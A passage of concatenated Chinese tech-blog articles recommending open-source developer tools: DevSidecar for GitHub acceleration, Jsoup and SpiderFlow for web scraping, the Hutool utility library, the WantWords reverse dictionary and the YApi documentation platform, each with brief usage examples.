在本地启动了一个代理服务器帮你访问目标网站。实际上就是利用了中间人攻击的原理,只是 DevSidecar 没有用它来干坏事,而是帮助开发者加速目标网站的访问。 30 | 31 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003602.jpg) 32 | 33 | ### 3. GitHub 加速 34 | 35 | 对于 GitHub,DevSidecar 可以实现直连加速、release 或 zip 下载加速、clone 加速以及图片加速等等的加速体验。 36 | 37 | 实现原理:通过修改 SNI 以及和上面一样的本地代理方式实现。 38 | 39 | ### 4.npm 加速 40 | 41 | 支持开启 npm 代理,可以一键切换官方和淘宝的 npm registry。这样 Node.js 开发小伙伴也可以很方便的用 npm 命令安装各种模块了。 42 | 43 | ## 上手指南 44 | 45 | DevSidecar 的安装过程和使用界面对新手都很友好。你可以根据自己使用的是 Windows 系统还是 macOS 系统,选择对应格式的 release 安装包。Windows 系统直接运行 DevSidecar-x.x.x.exe,macOS 系统直接使用 DevSidecar-x.x.x.dmg 安装即可。 46 | 47 | 第一次打开 DevSidecar 时,会提示安装证书。因为在实现第二个特性进行请求拦截时,是通过本地的代理服务器访问目标网站,所以需要安装和信任 CA 根证书。以 macOS 为例,如图,根据软件内的指示操作就可以啦。 48 | 49 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003619.jpg) 50 | 51 | 安装完成后,点击首页正中间的这个又大又圆的按钮,就可以畅游 GitHub 啦。再点一下,就可以关闭全部功能。 52 | 53 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003630.jpg) 54 | 55 | ## 两个模式 56 | 57 | DevSidecar 为我们提供了两种模式:安全模式和默认模式。 58 | 59 | 默认模式支持请求拦截、通过修改 SNI 直连访问 GitHub。这个模式可以体验 DevSidecar 的全部特性。但是需要安装证书。DevSidecar 承诺不收集任何用户信息,且只要拦截配置里的替代网站不作恶,则不会有安全风险。 60 | 61 | 安全模式不需要安装证书,所以安全性更强,但是功能较弱,只能通过 DNS 优选与测速方式对访问 GitHub 进行加速。如果解析的 IP 网速都不够,依旧无法畅快访问 GitHub。 62 | 63 | 两个模式可以根据自己的喜好任意切换啦。 64 | 65 | ## 效果 66 | 67 | 让我们来看看 DevSidecar 使用前后的效果。 68 | 69 | ### GitHub 加速 70 | 71 | 就以我们耿耿于怀的显示图片为例,我们选择 DevSidecar 项目下的一个图片。未开启 DevSidecar 时,图片展示是这样的: 72 | 73 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003636.jpg) 74 | 75 | 76 | 77 | 开启 DevSidecar 后,图片展示正常啦,看: 78 | 79 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003654.jpg) 80 | 81 | ### StackOverflow 加速 82 | 83 | StackOverflow 也是我们在遇到问题时,会去寻找解决方案的网站。平时搜索问题如果跳转到StackOverflow 里的链接,响应速度会非常慢。这次我做了开启 DevSidecar 前后的对比,开启前,10秒钟还没有打开主页,开启后不到四秒就打开了,虽然说没有达到秒开的程度,但是也很满足了。 84 | 85 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003703.jpg) 86 | 87 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003744.jpg) 88 | 89 | ## 小结 90 | 91 | 总的来说,DevSidecar 是一款体验良好,效果明显的 Github 加速工具,应当是开源学习过程中值得拥有的一款利器。 92 | 93 | 怎么样,看到小妹的安利,你是不是也有点心动啦,赶快去公众号后台回复【加速】,获取开源项目的地址吧(*^▽^*) 94 | 95 | 问君能有几多愁,开源项目解千愁,今天的小妹就陪你分享到这里,我们下期再见啦! -------------------------------------------------------------------------------- /contents/2021_11_11_谁说只有Python才能写爬虫了?Javaer转身甩出这个框架:给爷爬!.md: -------------------------------------------------------------------------------- 1 | # 谁说只有Python才能写爬虫了?Javaer转身甩出这个框架:给爷爬! 2 | 3 | 大家好,我是爱撸码的开源大叔。 4 | 5 | 相信很多小伙伴对爬虫很感兴趣,遇到网上有用的信息,总想把他们批量保存下来。如果都手工的去复制粘贴,费时间费精力,而且还不符合程序员的作风。所以这时候写一个小爬虫,晚上睡觉时让他勤劳的给我们打工干活就好了。 6 | 7 | 不过一提到爬虫,就避不开 Python。只要一搜爬虫入门教程,满篇都是教你如何使用 Python 爬虫。 8 | 9 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107011810.jpg) 10 | 11 | 诚然,Python 简单、高效、易用以及丰富的库与爬虫框架,是新手在入门爬虫时的最佳选择。但是我们 Java 开发者就不配用 Java 写爬虫了吗?我就是想在工作之余简单的爬取一批页面,想使用**熟悉的语言**快速实现这个小功能,你还得让我去学个 Python? 12 | 13 | 作为一名爱撸码的老程序员,自然是认可多掌握些语言和技术,把路走宽这个道理的。但是如果自己熟悉的语言有一个**好上手,开箱即用**的爬虫框架,一解燃眉之急,是不是就可以在短时间内高效的完成自己的目标呢? 14 | 15 | 那么就分享给广大Java程序员一个好用的爬虫框架,Jsoup。 16 | 17 | ## 快速入门 18 | 19 | ### 1.引入依赖 20 | 21 | ``` 22 | 23 | org.jsoup 24 | jsoup 25 | 1.14.3 26 | 27 | ``` 28 | 29 | ### 2.一行代码返回页面 30 | 31 | 只需要一行代码即可对一个链接发起请求,返回页面数据。 32 | 33 | ``` 34 | Document document = Jsoup.connect(url).get(); 35 | ``` 36 | 37 | 好了,你已经掌握了 Jsoup 的使用方式,这篇文章就分享到这里了,我们下期再见…… 38 | 39 | 40 | 41 | 开个玩笑哈,确实,使用 Jsoup 请求一个页面,就是这么简单。但是我们还要对页面信息进行解析,从一个复杂的 HTML 文档中找到我们要信息。先来简单的介绍一下 Jsoup 常见的类以及 api,方便后续的介绍。 42 | 43 | ## 常见类与api 44 | 45 | ### 1.常见的类 46 | 47 | Jsoup 常见的几个类,都是对应 HTML DOM 中的概念。通过对以下几个类的操作,就可以从一个 HTML 页面获取自己想要的数据啦。 48 | 49 | 1. Document 类,对应 HTML DOM Document 对象 50 | 2. Element 类,对应 HTML 的 DOM 元素,比如

等 51 | 3. Attribute,对应 HTML 中的属性,比如一个 div 元素里的 class、id 等 52 | 53 | ### 2.常用api 54 | 55 | 首先,介绍一下获取 DOM 元素的 api,都是属于 Element 类中定义的方法。 56 | 57 | 1. getElementById(String id):通过 id 获取元素,非常精准。 58 | 2. getElementsByTag(String tag):根据标签名获取元素的集合,比如: 59 | 60 | ``` 61 | document.getElementsByTag("p") 62 | ``` 63 | 64 | 会获取到所有

标签的元素,方便我们进一步从中抓取想要的文本。 65 | 66 | 1. getElementsByClass(String className):根据 class 名称获取元素的集合,比如: 67 | 68 | ``` 69 | document.getElementsByClass("item") 70 | ``` 71 | 72 | 会获取所有 class 为 item 的元素。一般页面的列表项会指定相同的 class,所以这个方法方便我们直接获取指定的列表内容。 73 | 74 | 1. getElementsByAttribute(String key):根据属性名称获取元素的集合,比如: 75 | 76 | ``` 77 | document.getElementsByAttribute("href") 78 | ``` 79 | 80 | 这样我们就可以获取全部有链接属性的元素,方便去跳转爬取该页面涉及到的其他页面。 81 | 82 | 83 | 84 | 获取到 DOM 元素,接下来我们还需要获取这个元素的属性、文本等数据。 85 | 86 | 1. attr(String key):获取元素中某属性的值。比如:element.attr("class"),可以获取当前元素 class 属性的值。 87 | 2. attributes():获取元素的所有属性。我们可以对全部属性进行遍历或者其他处理。 88 | 3. id()、className() 、classNames():获取元素的 id 值、class 值以及全部 class 值的集合。这几个方法的底层都是 attr(String key) 方法,实际上是方便我们使用的快速实现。 89 | 4. text():获取元素的全部文本内容。我们不用手动遍历当前元素的所有子节点去获取文本信息,这个方法会直接把所有文本拼接到一起并返回。 90 | 91 | ## 举个例子 92 | 93 | 好了,说了这么多,是时候实战一波了。我们以爬虫入门经典案例,豆瓣电影 Top250 页面为例,来看看 Jsoup 具体是怎么使用的。 94 | 95 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107011819.jpg) 96 | 97 | 因为只是个示例,所以我们的目标简单一些,爬取这一页电影名称即可。 98 | 99 | 首先,我们直接 F12 看一下页面的源码,会发现影片名称是一个 class 为 title 的 标签,如图: 100 | 101 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107011825.jpg) 102 | 103 | 而电影的名称有多个,其他的名称会用 / 符号来分割。所以思路来了,只要我们获取到这个页面所有 class 值为 title 的元素,过滤掉带有 / 的文本,就可以啦。代码如下: 104 | 105 | ``` 106 | public static void printMovieName() throws IOException { 107 | 108 | // 豆瓣电影Top250 109 | String url = "https://movie.douban.com/top250"; 110 | 111 | // 获取页面 112 | Document document = Jsoup.connect(url).get(); 113 | 114 | // 根据class获取元素集合 115 | Elements titles = document.getElementsByClass("title"); 116 | int index = 1; 117 | for (Element title : titles) { 118 | String text = title.text(); 119 | // 过滤掉电影的其他名称 120 | if (!text.contains("/")) { 121 | System.out.println("No." + index + " " + text); 122 | index++; 123 | } 124 | } 125 | } 126 | ``` 127 | 128 | 输出结果如下: 129 | 130 | ![img](https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107011839.jpg) 131 | 132 | ## 总结 133 | 134 | 怎么样,用 Jsoup 写爬虫是不是非常的简单?当然,在这个简单的例子的基础上,我们可以实现更复杂的逻辑,比如: 135 | 136 | - 获取分页链接继续爬取后续页面的内容; 137 | - 爬取影片的完整信息,并保存到数据库中; 138 | - 将影片的图片保存到本地或者上传到图床。 139 | 140 | 这些逻辑对于一个熟练掌握 Java 语言的程序员来说,都是很容易实现的事情。这也是为什么,我认为 Java 程序员使用自己的本职语言来开发爬虫,效率会更高一些。因为日常的搬砖操作可以让我们更熟练的处理爬取到的数据。爬虫只是获取数据的一个方式,对于数据的处理和使用也是非常重要的一部分。 141 | 142 | 143 | 144 | 温馨提示:我们要**合法使用爬虫**哦。通过网站域名 +robots.txt 来查看爬虫协议,判断是否可以使用爬虫爬取信息,比如:https://www.douban.com/robots.txt。同时,切记**不要爬取敏感信息**,并进行牟利! 145 | 146 | 147 | 148 | 149 | 150 | 好啦,今天大叔的分享就到这里了,在公众号后台回复【爬虫】即可获取项目源码地址。看完文章后,趁着搬砖摸鱼之时,赶快试试吧。 -------------------------------------------------------------------------------- /contents/2021_11_29_还在重复造轮子?试试这个java工具类.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 还在重复造轮子?试试这个java工具类 3 | date: 2021-12-05 18:57:36 4 | tags: 奔跑的阿白 5 | --- 6 | 7 | 大家好,我是可爱又机灵的开源小妹。 8 | 9 | 上周接到老大的需求说让小妹整理下工具类,新项目要用,本想直接拿以前的改改直接用的,结果发现以前的工具类存在很多问题,光加解密工具类就重复写了很多个。 10 | ![那不得凉凉了,咋办呢?](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111272212895.gif) 11 | 12 | 13 | 赶紧跑去找开源大叔商量对策,最终在 Github 上找到 Hutool 这款神器,终于解救了可怜的小妹。 14 | 15 | # 简介 16 | Hutool 是一个小而全的 Java 工具类库,通过静态方法封装,降低相关 API 的学习成本,提高工作效率,使 Java 拥有函数式语言般的优雅,让 Java 语言也可以“甜甜的”。 17 | 18 | Hutool 中的工具方法来自每个用户的精雕细琢,它涵盖了 Java 开发底层代码中的方方面面,它既是大型项目开发中解决小问题的利器,也是小型项目中的效率担当; 19 | 20 | Hutool 是项目中 "util" 包友好的替代,它节省了开发人员对项目中公用类和公用工具方法的封装时间,使开发专注于业务,同时可以最大限度的避免封装不完善带来的 bug。 21 | 22 | ## Hutool如何改变我们的coding方式 23 | Hutool的目标是使用一个工具方法代替一段复杂代码,从而最大限度的避免“复制粘贴”代码的问题,彻底改变我们写代码的方式。 24 | 25 | 以计算MD5为例: 26 | 27 | 【以前】打开搜索引擎 -> 搜“Java MD5加密” -> 打开某篇博客-> 复制粘贴 -> 改改好用 28 | 29 | 【现在】引入Hutool -> SecureUtil.md5() 30 | 31 | Hutool的存在就是为了减少代码搜索成本,避免网络上参差不齐的代码出现导致的bug。 32 | 33 | # 包含组件 34 | Hutool 是一个 Java 基础工具类,对文件、流、加密解密、转码、正则、线程、XML 等 JDK 方法进行封装,组成各种 Util 工具类 35 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111272054363.png) 36 | 可以根据需求对每个模块单独引入,也可以通过引入hutool-all方式引入所有模块 37 | 38 | # 使用方法 39 | ## Maven 40 | 在项目的pom.xml的dependencies中加入以下内容: 41 | ``` 42 | 43 | cn.hutool 44 | hutool-all 45 | 5.7.16 46 | 47 | ``` 48 | ## Gradle 49 | ``` 50 | implementation 'cn.hutool:hutool-all:5.7.16' 51 | ``` 52 | ## 直接下载jar包 53 | 直接去 54 | [Maven中央仓库](https://repo1.maven.org/maven2/cn/hutool/hutool-all/5.7.16/)下载即可 55 | 56 | # 常用的轮子 57 | ## 类型转换工具类 Convert 58 | Convert 类是一个类型转换工具方法类,里面封装了针对 Java 常见类型的转换,用于简化类型转换。 59 | ``` 60 | // 转换为字符串 61 | int num = 0; 62 | // str为"0" 63 | String str = Convert.toStr(num); 64 | 65 | // 转换为指定类型数组 66 | String[] b = {"0", "1", "2", "3"}; 67 | Integer[] arr = Convert.toIntArray(b); 68 | 69 | // 转换为日期对象 70 | String dateStr = "2016-01-01"; 71 | Date date = Convert.toDate(dateStr); 72 | 73 | // 转换为列表 74 | String[] strArr= {"a", "b", "c", "d"}; 75 | List strList = Convert.toList(String.class, strArr); 76 | ``` 77 | ## 字符串工具 StrUtil 78 | ``` 79 | // 判断是否为空字符串 80 | StrUtil.isEmpty(str); 81 | StrUtil.isNotEmpty(str); 82 | 83 | // 去除字符串的前后缀 84 | StrUtil.removeSuffix("a.jpg", ".jpg"); 85 | StrUtil.removePrefix("a.jpg", "a."); 86 | ``` 87 | ## 日期时间工具 DateUtil 88 | 主要提供日期和字符串之间的转换,以及提供对日期的定位。 89 | ``` 90 | // 当前时间 91 | Date date = DateUtil.date(); 92 | 93 | // Calendar 转 Date 94 | Date date = DateUtil.date(Calendar.getInstance()); 95 | 96 | // 时间戳转Date 97 | Date date = DateUtil.date(System.currentTimeMillis()); 98 | 99 | // 自动识别格式转换 100 | String dateStr = "2016-01-01"; 101 | Date date = DateUtil.parse(dateStr); 102 | 103 | // 自定义格式化转换 104 | Date date = DateUtil.parse(dateStr, "yyyy-MM-dd"); 105 | 106 | // 格式化输出日期 107 | String format = DateUtil.format(date, "yyyy-MM-dd"); 108 | 109 | // 获取某天的开始、结束时间 110 | Date beginOfDay = DateUtil.beginOfDay(date); 111 | Date endOfDay = DateUtil.endOfDay(date); 112 | 113 | // 计算偏移后的日期时间 114 | Date newDate = DateUtil.offset(date, DateField.DAY_OF_MONTH, 1); 115 | 116 | ``` 117 | ## 信息脱敏工具 DesensitizedUtil 118 | 在数据处理或清洗中,可能涉及到很多隐私信息的脱敏工作,因此Hutool针对常用的信息封装了一些脱敏方法。 119 | 现阶段支持的脱敏数据类型包括: 120 | 用户 id、中文姓名、身份证号、座机号、手机号、地址、电子邮件、密码、中国大陆车牌,包含普通车辆、新能源车辆、银行卡等。 121 | ``` 122 | // 身份证脱敏 4***************1X 123 | DesensitizedUtil.idCardNum("41353620000320711X", 1, 2); 124 | 125 | // 手机号脱敏 191****1999 126 | DesensitizedUtil.mobilePhone("19149531999"); 127 | 128 | // 密码脱敏 ********** 129 | DesensitizedUtil.password("1234567890"); 130 | 131 | // 邮箱脱敏 7********@qq.com 132 | DesensitizedUtil.email("788888888@qq.com"); 133 | ``` 134 | 135 | ## 图片工具 ImgUtil 136 | 针对 awt 中图片处理进行封装,这些封装包括:缩放、裁剪、转为黑白、加水印等操作。 137 | ``` 138 | // 缩放图片 139 | ImgUtil.scale( 140 | FileUtil.file("e:/test.jpg"), 141 | FileUtil.file("e:/test_result.jpg"), 142 | // 缩放比例 143 | 0.5f 144 | ); 145 | 146 | // 裁剪图片 147 | ImgUtil.cut( 148 | FileUtil.file("e:/test.jpg"), 149 | FileUtil.file("e:/test_result.jpg"), 150 | // 裁剪的矩形区域 151 | newRectangle(200, 200, 100, 100) 152 | ); 153 | 154 | // `slice` 按照行列剪裁切片(将图片分为20行和20列) 155 | ImgUtil.slice(FileUtil.file("e:/test2.png"), FileUtil.file("e:/dest/"), 10, 10); 156 | 157 | // 转换图片格式 158 | ImgUtil.convert(FileUtil.file("e:/test.png"), FileUtil.file("e:/testConvert.jpg")); 159 | 160 | // 转黑白 161 | ImgUtil.gray(FileUtil.file("e:/test.png"), FileUtil.file("e:/result.png")); 162 | ``` 163 | ## Excel工具 ExcelUtil 164 | ``` 165 | // 读取 excel 文件 166 | ExcelReader reader = ExcelUtil.getReader("e:/test.xlsx"); 167 | List> readAll = reader.read(); 168 | List> readAll = reader.readAll(); 169 | List all = reader.readAll(Person.class); 170 | 171 | // 写出到客户端 172 | // 通过工具类创建writer,默认创建xls格式 173 | ExcelWriterwriter = ExcelUtil.getWriter(); 174 | // 一次性写出内容,使用默认样式,强制输出标题 175 | writer.write(rows, true); 176 | // out为OutputStream,需要写出到的目标流 177 | // response为HttpServletResponse对象 178 | response.setContentType("application/vnd.ms-excel;charset=utf-8"); 179 | // test.xls是弹出下载对话框的文件名,不能为中文,中文请自行编码 180 | response.setHeader("Content-Disposition","attachment;filename=test.xls"); 181 | ServletOutputStreamout=response.getOutputStream(); 182 | writer.flush(out, true); 183 | // 关闭writer,释放内存 184 | writer.close(); 185 | // 此处记得关闭输出Servlet流 186 | IoUtil.close(out); 187 | ``` 188 | ## 图形验证码 CaptchaUtil 189 | ``` 190 | // 定义图形验证码的长和宽 191 | LineCaptcha lineCaptcha = CaptchaUtil.createLineCaptcha(300, 150); 192 | // 图形验证码写出,可以写出到文件,也可以写出到流 193 | lineCaptcha.write("e:/line.png"); 194 | // 输出code 195 | Console.log(lineCaptcha.getCode()); 196 | // 验证图形验证码的有效性,返回boolean值 197 | lineCaptcha.verify("1234"); 198 | // 重新生成验证码 199 | lineCaptcha.createCode(); 200 | lineCaptcha.write("e:/line.png"); 201 | // 新的验证码 202 | Console.log(lineCaptcha.getCode()); 203 | // 验证图形验证码的有效性,返回boolean值 204 | lineCaptcha.verify("1234"); 205 | ``` 206 | 207 | # 小妹总结 208 | 大家觉得小妹找到的这个工具怎么样,是不是很强大,很全面?想要试试就赶快去公众号后台回复「Hutool」,获取开源项目的地址吧(^▽^)。 209 | 210 | 问君能有几多愁,开源项目解千愁,今天小妹的分享就到这里啦!我们下期再见。 -------------------------------------------------------------------------------- /contents/2021_12_02_无代码爬虫,真香.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 不用写代码的爬虫,真香 3 | date: 2021-12-05 18:51:44 4 | tags: 奔跑的阿白 5 | --- 6 | 大家好,我是爱撸码的开源大叔。 7 | 8 | 之前和大家分享过java爬虫框架 Jsoup,可是还是要敲代码才能爬取东西,运营产品还是没法直接用,时不时来找大叔我爬些数据做分析,烦得很。 9 | 10 | 于是乎去 GitHub 找了找有没有不用写代码的爬虫工具,还真有 SpiderFlow 无需敲代码,即可爬数据。部署好就丢给运营产品他们自己玩了。 11 | 12 | ## 简介 13 | SpiderFlow 是一个爬虫平台,以图形化方式定义爬虫流程,无需代码即可实现一个爬虫 14 | ### 特性 15 | - 支持 CSS 选择器、正则提取 16 | - 支持 JSON/XML 格式 17 | - 支持 Xpath/JsonPath 提取 18 | - 支持多数据源、SQL select/insert/update/delete 19 | - 支持爬取 JS 动态渲染的页面 20 | - 支持代理 21 | - 支持二进制格式 22 | - 支持保存/读取文件(csv、xls、jpg等) 23 | - 常用字符串、日期、文件、加解密、随机等函数 24 | - 支持流程嵌套 25 | - 支持插件扩展(自定义执行器,自定义函数、自定义 Controller 、类型扩展等) 26 | - 支持 HTTP 接口 27 | ## 快速部署 28 | ### 基础环境 29 | ``` 30 | JDK >= 1.8 31 | Mysql >= 5.7 32 | Maven >= 3.0 下载地址:(http://maven.apache.org/download.cgi) 33 | ``` 34 | ### 搭建本地环境 35 | #### 导入数据库 36 | 基础表:spider-flow/db/spiderflow.sql 37 | #### 导入项目到 idea 38 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301225739.png) 39 | #### 修改 application.propeties 40 | 修改 spider-flow-web 下面的application.propeties 41 | ``` 42 | # 数据库配置 43 | spring.datasource.username=root 44 | spring.datasource.password=root 45 | spring.datasource.url=jdbc:mysql://localhost:3306/spiderflow?useSSL=false&useUnicode=true&characterEncoding=UTF8&autoReconnect=true 46 | ``` 47 | #### 运行项目 48 | 运行 SpiderApplication 类,看到以下信息,即启动成功 49 | ``` 50 | Tomcat started on port(s): 8088 (http) with context path '' 51 | Started SpiderApplication in 4.22 seconds (JVM running for 4.951) 52 | ``` 53 | ## 使用 54 | ### 访问 55 | 浏览器访问:http://localhost:8088/ 56 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301226094.png) 57 | ### 基础组件介绍 58 | #### 开始节点 59 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301225550.png) 60 | 仅仅是爬虫的起点,所有流程图必须有该节点 61 | #### 爬取节点 62 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301226471.png) 63 | 该节点用于请求 HTTP/HTTPS 页面或接口 64 | #### 定义变量 65 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301227424.png) 66 | 该节点用于定义变量之后,可以与表达式配套使用,实现动态设置各项参数(如动态请求分页地址) 67 | 68 | 变量名:变量的名字,当变量名重复时,会覆盖前一个变量 69 | 70 | 变量值:变量的值,可以是常量,可以是表达式 71 | #### 输出节点 72 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301228207.png) 73 | 该节点主要用于调试,测试时会把输出打印到页面中,另外也可以用来自动保存到数据库或文件 74 | 75 | ### 例子:抓取百度热搜问题 76 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301227524.png) 77 | 从左边的组件栏中分别拖拽出那三个组件 78 | #### 设置爬取的节点配置 79 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301228934.png) 80 | #### 设置变量规则 81 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301229035.png) 82 | #### 设置输出 83 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301230463.png) 84 | #### 运行爬虫 85 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301230214.png) 86 | 得到结果: 87 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202111/202111301230672.png) 88 | ## 小结 89 | 我们直接将爬虫平台部署好后,一句代码也没写就可以直接根据网站情况,创建爬虫爬取数据。就问大家 SpiderFlow 这个项目香不香?文中的例子也是比较简单的,平台还有很多高级功能,大家有兴趣可以继续探索。 90 | 91 | 好啦,今天大叔的分享就到这里了,在公众号后台回复「无代码爬虫」即可获取项目源码地址。看完文章后,趁着搬砖摸鱼之时,赶快试试吧。 92 | 93 | 问君能有几多愁,开源项目解千愁,我们下期再见! 94 | 95 | -------------------------------------------------------------------------------- /contents/2021_12_06_干掉「卧槽」,就用她了!.md: -------------------------------------------------------------------------------- 1 | 大家好,我是爱撸码的开源大叔! 2 | 3 | 平时碰到厉害、愤怒、惊叹的人和事情,大家是不是只会一句`卧槽`行天下? 4 | 5 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021937625.jpg) 6 | 7 | 别问大叔怎么知道,俺也一样! 8 | 9 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021937266.jpg) 10 | 11 | 12 | 13 | 今天,大叔就给大家推荐一个非常有意思的开源项目 - `万词王(WantWords)`。 14 | 15 | 16 | ## 项目简介 17 | 18 | 19 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021937706.png) 20 | 21 | 22 | 这是一个由清华大学计算机系自然语言处理与社会人文计算实验室(THUNLP)和清华大学人工智能研究合作出品的开源在线「反向词典」。 23 | 24 | >「反向词典」:即它可以在输入想要表达的意思后,为我们找到相对应的词语。 25 | 26 | 它的主要作用,**说的直白一些,就是帮你把想说的话顺利无重复的、顺畅的表达出来,不再只有“卧槽”**。 27 | 28 | 该项目的架构如下: 29 | 30 | 31 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021939392.jpg) 32 | 33 | 34 | 核心模型为作者发表在AAAI-20上的一篇论文提出的多通道反向词典模型:Multi-channel Reverse Dictionary Model,其模型架构如下: 35 | 36 | 37 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021939394.jpg) 38 | 39 | 40 | 该项目目前已经在 GitHub 上开源,标星 1.2K,累计分支 56 个。 41 | 42 | 43 | ## 使用介绍 44 | 45 | 该工具支持`中文、英文、汉英、英汉`等多种查询方式 46 | 47 | ### 中、英查词 48 | 49 | 1、中文查词。这里来举个例子,比如大叔想找「形容伤心的词」, 50 | 51 | 52 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021939395.jpg) 53 | 54 | 她会告诉你可以用“难过”、“悲伤”、“伤感”、“哀伤”、“忧伤” 等。 55 | 56 | 57 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021940831.jpg) 58 | 59 | 60 | 再比如,要「描述人很有才华」,则会返回“才高八斗”、“才气过人”、“才华横溢”、“才气过人”、“一表人才”等词。 61 | 62 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021940656.jpg) 63 | 64 | 65 | 对于给出的每个结果,如果你有某些词看不明白,可以直接点击查看该词的更详细的一些内容,包括拼音、注解等等。 66 | 67 | 68 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021940324.jpg) 69 | 70 | 71 | 当然,肯定你也发现了有一些词是不符合的,这也是项目需要优化的地方。点击左上角的「词不达意」按钮,你就可以帮助项目进行优化。 72 | 73 | 74 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021940827.jpg) 75 | 76 | 对于搜索的结果,你可以按照字数、笔画数、拼音字母、韵脚等多种规则进行筛选查询。 77 | 78 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941381.jpg) 79 | 80 | 81 | 如筛选字数大于2个字的词, 82 | 83 | 84 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941884.jpg) 85 | 86 | 2、英文查词。有种瞬间感觉词汇量就不够了~~ 87 | 88 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941284.jpg) 89 | 90 | 同样可以点击查看该词的更详细的一些内容,以及点击「词不达意」帮助项目进行优化、筛选搜索结果。 91 | 92 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941308.jpg) 93 | 94 | 95 | ### 汉英转化查词 96 | 97 | 1、汉英查词,即汉语来描述,英语来表达。接着上面的例子,用`英文`来「描述人很有才华」,还是蛮不错的。 98 | 99 | 100 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941285.jpg) 101 | 102 | 103 | 这个 `virtuoso` 就不太常见,这么一来是不是发现又学到了非常多的新单词? 104 | 105 | 106 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941252.jpg) 107 | 108 | 2、英汉查词,即英语来描述,汉语来表达。感觉这个比较适合老外学习汉语用。 109 | 110 | 111 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021942988.jpg) 112 | 113 | 114 | 同样的也可以有点击查看详细、点击「词不达意」、筛选搜索结果等操作。这里就不一一展示了。大家可以自己试试。 115 | 116 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021943793.jpg) 117 | 118 | 119 | 感觉有了这个项目,大家想说卧槽都难了啊! 120 | 121 | 所以,为什么不马上在公众号后台回复「**wcw**」,获取项目源码地址,赶紧试试呢? 122 | 123 | 问君能有几多愁,开源项目解千愁,我们下期再见! 124 | 125 | > 大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢! -------------------------------------------------------------------------------- /contents/2021_12_07_全自动生成!让你和接口文档说拜拜!!.md: -------------------------------------------------------------------------------- 1 | 大家好,我是超可爱的开源小妹! 2 | 3 | 不知道大家是不是和我一样,对繁杂的**接口文档**深恶痛绝 **o(≧口≦)o** 4 | 5 | 平时已经加班加点去实现产品经理提出的复杂需求了,到最后还要写接口文档给前端的小伙伴对接,实在是让人有些沮丧 **ε(┬┬﹏┬┬)3** 6 | 7 | 幸运的是,最近项目组引入了一个开源软件,很好的解决了我们不想写文档的这个需求,甚至于**无须维护,点击上传按钮就将自动生成 API 文档!!** 8 | 9 | 今天小妹将 `YApi` 推荐给大家,希望能够帮助小伙伴们能够早点下班! 10 | 11 | ### 简介 12 | 13 | --- 14 | 15 | YApi 是高效、易用、功能强大的 API 管理平台,是为了给开发、产品、测试人员提供更加优雅的接口管理服务。可以帮助开发者们快速轻松的创建、发布、维护 API,甚至还可以利用平台提供的数据写入工具进行 Mock 数据等操作! 16 | 17 | YApi 是根据项目进行区分的,能够很好的满足公司多项目管理的需求! 18 | ![](https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/2021-12/yapi01.png) 19 | 20 | 接口可以进行分类,能够维护名称、创建人、状态、接口路径等基础信息。同时也可以查看请求参数和返回数据的结构和描述。 21 | 22 | 更棒的是,YApi 还支持高级 Mock 数据,可以在后端同学还没有实现完的情况下,让前端的小伙伴根据 Mock 数据提前进行数据对接! 23 | ![](https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/2021-12/yapi02.png) 24 | ![](https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/2021-12/yapi03.png) 25 | 26 | ### 功能特性 27 | 28 | --- 29 | 30 | - 基于 Json5 和 Mockjs 